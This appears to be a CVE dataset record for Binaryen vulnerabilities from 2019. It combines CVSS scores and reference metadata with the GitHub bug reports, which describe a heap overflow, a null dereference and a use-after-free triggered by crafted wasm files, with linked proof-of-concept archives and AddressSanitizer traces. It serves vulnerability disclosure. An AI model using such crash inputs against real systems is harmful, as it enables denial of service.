{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }

[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1863" } ]

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https://github.com/WebAssembly/binaryen/issues/1863

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi, there. A Heap-buffer-overflow problem was discovered in function wasm::SExpressionParser::skipWhitespace() in wasm-s-parser.cpp in wasm. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./wasm2js $POC" to reproduce the error. [POC.zip](https://github.com/WebAssembly/binaryen/files/2751952/POC.zip) The ASAN dumps the stack trace as follows: ``` ================================================================= ==17910==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000001f7 at pc 0x00000188f694 bp 0x7ffed69f49b0 sp 0x7ffed69f49a8 READ of size 1 at 0x6020000001f7 thread T0 #0 0x188f693 in wasm::SExpressionParser::skipWhitespace() /binaryen/src/wasm/wasm-s-parser.cpp:175:20 #1 0x188b355 in wasm::SExpressionParser::parse() /binaryen/src/wasm/wasm-s-parser.cpp:121:5 #2 0x188aecf in wasm::SExpressionParser::SExpressionParser(char*) /binaryen/src/wasm/wasm-s-parser.cpp:112:12 #3 0x64b1a6 in std::unique_ptr<wasm::SExpressionParser, std::default_delete<wasm::SExpressionParser> > wasm::make_unique<wasm::SExpressionParser, char*>(char*&&) /binaryen/src/support/utilities.h:58:35 #4 0x64b1a6 in main /binaryen/src/tools/wasm2js.cpp:87 #5 0x7f18ad0d782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #6 0x50ccb8 in _start (/binaryen/build/bin/wasm2js+0x50ccb8) 0x6020000001f7 is located 0 bytes to the right of 7-byte region [0x6020000001f0,0x6020000001f7) allocated by thread T0 here: #0 0x6051b0 in operator new(unsigned long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:92 #1 0x1b56f57 in __gnu_cxx::new_allocator<char>::allocate(unsigned long, void const*) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:111:27 #2 0x1b56f57 in std::allocator_traits<std::allocator<char> >::allocate(std::allocator<char>&, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:436 #3 0x1b56f57 in std::_Vector_base<char, std::allocator<char> >::_M_allocate(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:172 #4 0x1b56f57 in std::_Vector_base<char, std::allocator<char> >::_M_create_storage(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:187 #5 0x1b56f57 in std::_Vector_base<char, std::allocator<char> >::_Vector_base(unsigned long, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:138 #6 0x1b56f57 in std::vector<char, std::allocator<char> >::vector(unsigned long, char const&, std::allocator<char> const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:297 #7 0x1b56f57 in std::vector<char, std::allocator<char> > wasm::read_file<std::vector<char, std::allocator<char> > >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, wasm::Flags::BinaryOption, wasm::Flags::DebugOption) /binaryen/src/support/file.cpp:42 #8 0x64ae18 in main /binaryen/src/tools/wasm2js.cpp:85:11 #9 0x7f18ad0d782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) SUMMARY: AddressSanitizer: heap-buffer-overflow /binaryen/src/wasm/wasm-s-parser.cpp:175:20 in wasm::SExpressionParser::skipWhitespace() Shadow bytes around the buggy address: 0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff8000: fa fa fd fa fa fa fd fd fa fa 02 fa fa fa 00 fa 0x0c047fff8010: fa fa 06 fa fa fa 04 fa fa fa 00 02 fa fa 00 02 0x0c047fff8020: fa fa 06 fa fa fa 02 fa fa fa 02 fa fa fa 02 fa =>0x0c047fff8030: fa fa 04 fa fa fa 02 fa fa fa 02 fa fa fa[07]fa 0x0c047fff8040: fa fa 00 fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==17910==ABORTING ``` $ git log ``` commit 45714b5fc6cf14c112bc4f188aca427464ab69d8 Author: Alon Zakai <[email protected]> Date: Thu Jan 10 19:31:20 2019 -0800 Compare binaryen fuzz-exec to JS VMs (#1856) The main fuzz_opt.py script compares JS VMs, and separately runs binaryen's fuzz-exec that compares the binaryen interpreter to itself (before and after opts). This PR lets us directly compare binaryen's interpreter output to JS VMs. This found a bunch of minor things we can do better on both sides, giving more fuzz coverage. To enable this, a bunch of tiny fixes were needed: * Add --fuzz-exec-before which is like --fuzz-exec but just runs the code before opts are run, instead of before and after. * Normalize double printing (so JS and C++ print comparable things). This includes negative zero in JS, which we never printed properly til now. * Various improvements to how we print fuzz-exec logging - remove unuseful things, and normalize the others across JS and C++. * Properly legalize the wasm when --emit-js-wrapper (i.e., we will run the code from JS), and use that in the JS wrapper code. ```

A Heap-buffer-overflow problem was discovered in function wasm::SExpressionParser::skipWhitespace() in wasm-s-parser.cpp in wasm.

https://api.github.com/repos/WebAssembly/binaryen/issues/1863/comments

1

2019-01-12T11:46:51Z

2019-01-16T19:15:06Z

https://github.com/WebAssembly/binaryen/issues/1863

398,547,208

1,863

CVE-2019-7702

2019-02-10T22:29:00.560

A NULL pointer dereference was discovered in wasm::SExpressionWasmBuilder::parseExpression in wasm-s-parser.cpp in Binaryen 1.38.22. A crafted wasm input can cause a segmentation fault, leading to denial-of-service, as demonstrated by wasm-as.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1867" } ]

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https://github.com/WebAssembly/binaryen/issues/1867

[ "Exploit", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi, there. A Null pointer Deference problem was discovered in wasm::SExpressionWasmBuilder::parseExpression(wasm::Element&) in wasm-s-parser.cpp. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "`wasm-as $POC`" or "`wasm2js $POC`" to reproduce the problem. [POC.zip](https://github.com/WebAssembly/binaryen/files/2753041/POC.zip) The ASAN dumps the stack trace as follows: ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==7649==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000d0 (pc 0x0000018d832f bp 0x7fffd64e9650 sp 0x7fffd64e9620 T0) ==7649==The signal is caused by a READ memory access. ==7649==Hint: address points to the zero page. #0 0x18d832e in std::_Hashtable<wasm::Expression*, std::pair<wasm::Expression* const, wasm::Function::DebugLocation>, std::allocator<std::pair<wasm::Expression* const, wasm::Function::DebugLocation> >, std::__detail::_Select1st, std::equal_to<wasm::Expression*>, std::hash<wasm::Expression*>, std::__detail::_Mod_range_hashing, std::__detail::_Default_ranged_hash, std::__detail::_Prime_rehash_policy, std::__detail::_Hashtable_traits<false, false, true> >::_M_bucket_index(wasm::Expression* const&, unsigned long) const /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/hashtable.h:631:60 #1 0x18d832e in std::__detail::_Map_base<wasm::Expression*, std::pair<wasm::Expression* const, wasm::Function::DebugLocation>, std::allocator<std::pair<wasm::Expression* const, wasm::Function::DebugLocation> >, std::__detail::_Select1st, std::equal_to<wasm::Expression*>, std::hash<wasm::Expression*>, std::__detail::_Mod_range_hashing, std::__detail::_Default_ranged_hash, std::__detail::_Prime_rehash_policy, std::__detail::_Hashtable_traits<false, false, true>, true>::operator[](wasm::Expression* const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/hashtable_policy.h:720 #2 0x18d832e in std::unordered_map<wasm::Expression*, wasm::Function::DebugLocation, std::hash<wasm::Expression*>, std::equal_to<wasm::Expression*>, std::allocator<std::pair<wasm::Expression* const, wasm::Function::DebugLocation> > >::operator[](wasm::Expression* const&) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/unordered_map.h:976 #3 0x18d832e in wasm::SExpressionWasmBuilder::parseExpression(wasm::Element&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-s-parser.cpp:660 #4 0x18bf60f in wasm::SExpressionWasmBuilder::parseExpression(wasm::Element*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm-s-parser.h:160:12 #5 0x18bf60f in wasm::SExpressionWasmBuilder::parseGlobal(wasm::Element&, bool) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-s-parser.cpp:1712 #6 0x18a2716 in wasm::SExpressionWasmBuilder::parseModuleElement(wasm::Element&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-s-parser.cpp:325:28 #7 0x18960ee in wasm::SExpressionWasmBuilder::SExpressionWasmBuilder(wasm::Module&, wasm::Element&, wasm::Name*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-s-parser.cpp:292:5 #8 0x64b56f in std::unique_ptr<wasm::SExpressionWasmBuilder, std::default_delete<wasm::SExpressionWasmBuilder> > wasm::make_unique<wasm::SExpressionWasmBuilder, wasm::Module&, wasm::Element&>(wasm::Module&, wasm::Element&) /home/wencheng/Documents/FuzzingObject/binaryen/src/support/utilities.h:58:35 #9 0x64b56f in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm2js.cpp:91 #10 0x7f6f8df5482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #11 0x50ccb8 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm2js+0x50ccb8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/hashtable.h:631:60 in std::_Hashtable<wasm::Expression*, std::pair<wasm::Expression* const, wasm::Function::DebugLocation>, std::allocator<std::pair<wasm::Expression* const, wasm::Function::DebugLocation> >, std::__detail::_Select1st, std::equal_to<wasm::Expression*>, std::hash<wasm::Expression*>, std::__detail::_Mod_range_hashing, std::__detail::_Default_ranged_hash, std::__detail::_Prime_rehash_policy, std::__detail::_Hashtable_traits<false, false, true> >::_M_bucket_index(wasm::Expression* const&, unsigned long) const ==7649==ABORTING ```

Null pointer Deference in wasm::SExpressionWasmBuilder::parseExpression(wasm::Element&) in wasm-s-parser.cpp

https://api.github.com/repos/WebAssembly/binaryen/issues/1867/comments

1

2019-01-13T12:08:46Z

2019-01-16T19:15:11Z

https://github.com/WebAssembly/binaryen/issues/1867

398,651,046

1,867

CVE-2019-7703

2019-02-10T22:29:00.590

In Binaryen 1.38.22, there is a use-after-free problem in wasm::WasmBinaryBuilder::visitCall in wasm-binary.cpp. Remote attackers could leverage this vulnerability to cause a denial-of-service via a wasm file, as demonstrated by wasm-merge.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }

[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1865" } ]

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https://github.com/WebAssembly/binaryen/issues/1865

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi, there. A Use-after-free problem was discovered in wasm::WasmBinaryBuilder::visitCall(wasm::Call*) function in wasm-binary.cpp. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./wasm-merge $POC" to reproduce the error. [UAF.zip](https://github.com/WebAssembly/binaryen/files/2751985/UAF.zip) $ git log ``` commit 45714b5fc6cf14c112bc4f188aca427464ab69d8 Author: Alon Zakai <[email protected]> Date: Thu Jan 10 19:31:20 2019 -0800 Compare binaryen fuzz-exec to JS VMs (#1856) The main fuzz_opt.py script compares JS VMs, and separately runs binaryen's fuzz-exec that compares the binaryen interpreter to itself (before and after opts). This PR lets us directly compare binaryen's interpreter output to JS VMs. This found a bunch of minor things we can do better on both sides, giving more fuzz coverage. To enable this, a bunch of tiny fixes were needed: * Add --fuzz-exec-before which is like --fuzz-exec but just runs the code before opts are run, instead of before and after. * Normalize double printing (so JS and C++ print comparable things). This includes negative zero in JS, which we never printed properly til now. * Various improvements to how we print fuzz-exec logging - remove unuseful things, and normalize the others across JS and C++. * Properly legalize the wasm when --emit-js-wrapper (i.e., we will run the code from JS), and use that in the JS wrapper code. ``` The ASAN dumps the stack trace as follows: ``` ================================================================= ==12717==ERROR: AddressSanitizer: heap-use-after-free on address 0x615000000c38 at pc 0x000000877201 bp 0x7ffcfa43cb50 sp 0x7ffcfa43cb48 READ of size 8 at 0x615000000c38 thread T0 #0 0x877200 in wasm::WasmBinaryBuilder::visitCall(wasm::Call*) /binaryen/src/wasm/wasm-binary.cpp:1954:12 #1 0x865f89 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1685:38 #2 0x86c092 in wasm::WasmBinaryBuilder::skipUnreachableCode() /binaryen/src/wasm/wasm-binary.cpp:1409:16 #3 0x861fc8 in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1384:9 #4 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #5 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #6 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #7 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #8 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #9 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #10 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #11 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #12 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #13 0x871a00 in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1865:21 #14 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #15 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #16 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #17 0x871a00 in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1865:21 #18 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #19 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #20 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #21 0x871a00 in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1865:21 #22 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #23 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #24 0x87031d in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /binaryen/src/wasm/wasm-binary.cpp:1822:5 #25 0x86598a in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1679:38 #26 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #27 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #28 0x83237a in wasm::WasmBinaryBuilder::readFunctions() /binaryen/src/wasm/wasm-binary.cpp:1121:20 #29 0x8139b7 in wasm::WasmBinaryBuilder::read() /binaryen/src/wasm/wasm-binary.cpp:678:41 #30 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:52:10 #31 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:71:5 #32 0x60aa08 in main /binaryen/src/tools/wasm-merge.cpp:617:16 #33 0x7f56b3d4a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #34 0x508d58 in _start (/binaryen/build/bin/wasm-merge+0x508d58) 0x615000000c38 is located 440 bytes inside of 512-byte region [0x615000000a80,0x615000000c80) freed by thread T0 here: #0 0x601fc8 in operator delete(void*) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:149 #1 0x79bed4 in __gnu_cxx::new_allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task>::deallocate(wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task*, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:125:2 #2 0x79bed4 in std::allocator_traits<std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::deallocate(std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task>&, wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task*, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:462 #3 0x79bed4 in std::_Vector_base<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::_M_deallocate(wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task*, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:180 #4 0x79bed4 in std::_Vector_base<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::~_Vector_base() /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:162 #5 0x79bed4 in std::vector<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::~vector() /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:435 #6 0x79bed4 in wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::~Walker() /binaryen/src/wasm-traversal.h:276 #7 0x79bed4 in wasm::BranchUtils::BranchSeeker::hasNamed(wasm::Expression*, wasm::Name) /binaryen/src/ir/branch-utils.h:208 #8 0x79bed4 in wasm::handleUnreachable(wasm::Block*, bool, bool) /binaryen/src/wasm/wasm.cpp:198 #9 0x85c506 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1847:10 #10 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #11 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #12 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #13 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #14 0x87192e in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /binaryen/src/wasm/wasm-binary.cpp:1863:18 #15 0x866693 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1680:38 #16 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #17 0x87031d in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /binaryen/src/wasm/wasm-binary.cpp:1822:5 #18 0x86598a in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1679:38 #19 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #20 0x85c0b2 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /binaryen/src/wasm/wasm-binary.cpp:1838:3 #21 0x83237a in wasm::WasmBinaryBuilder::readFunctions() /binaryen/src/wasm/wasm-binary.cpp:1121:20 #22 0x8139b7 in wasm::WasmBinaryBuilder::read() /binaryen/src/wasm/wasm-binary.cpp:678:41 #23 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:52:10 #24 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:71:5 #25 0x60aa08 in main /binaryen/src/tools/wasm-merge.cpp:617:16 #26 0x7f56b3d4a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) previously allocated by thread T0 here: #0 0x601250 in operator new(unsigned long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:92 #1 0x7dcff4 in __gnu_cxx::new_allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task>::allocate(unsigned long, void const*) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:111:27 #2 0x7dcff4 in std::allocator_traits<std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::allocate(std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task>&, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:436 #3 0x7dcff4 in std::_Vector_base<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::_M_allocate(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:172 #4 0x7dcff4 in void std::vector<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> >::_M_realloc_insert<void (*&)(wasm::BranchUtils::BranchSeeker*, wasm::Expression**), wasm::Expression**&>(__gnu_cxx::__normal_iterator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task*, std::vector<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task, std::allocator<wasm::Walker<wasm::BranchUtils::BranchSeeker, wasm::Visitor<wasm::BranchUtils::BranchSeeker, void> >::Task> > >, void (*&)(wasm::BranchUtils::BranchSeeker*, wasm::Expression**), wasm::Expression**&) 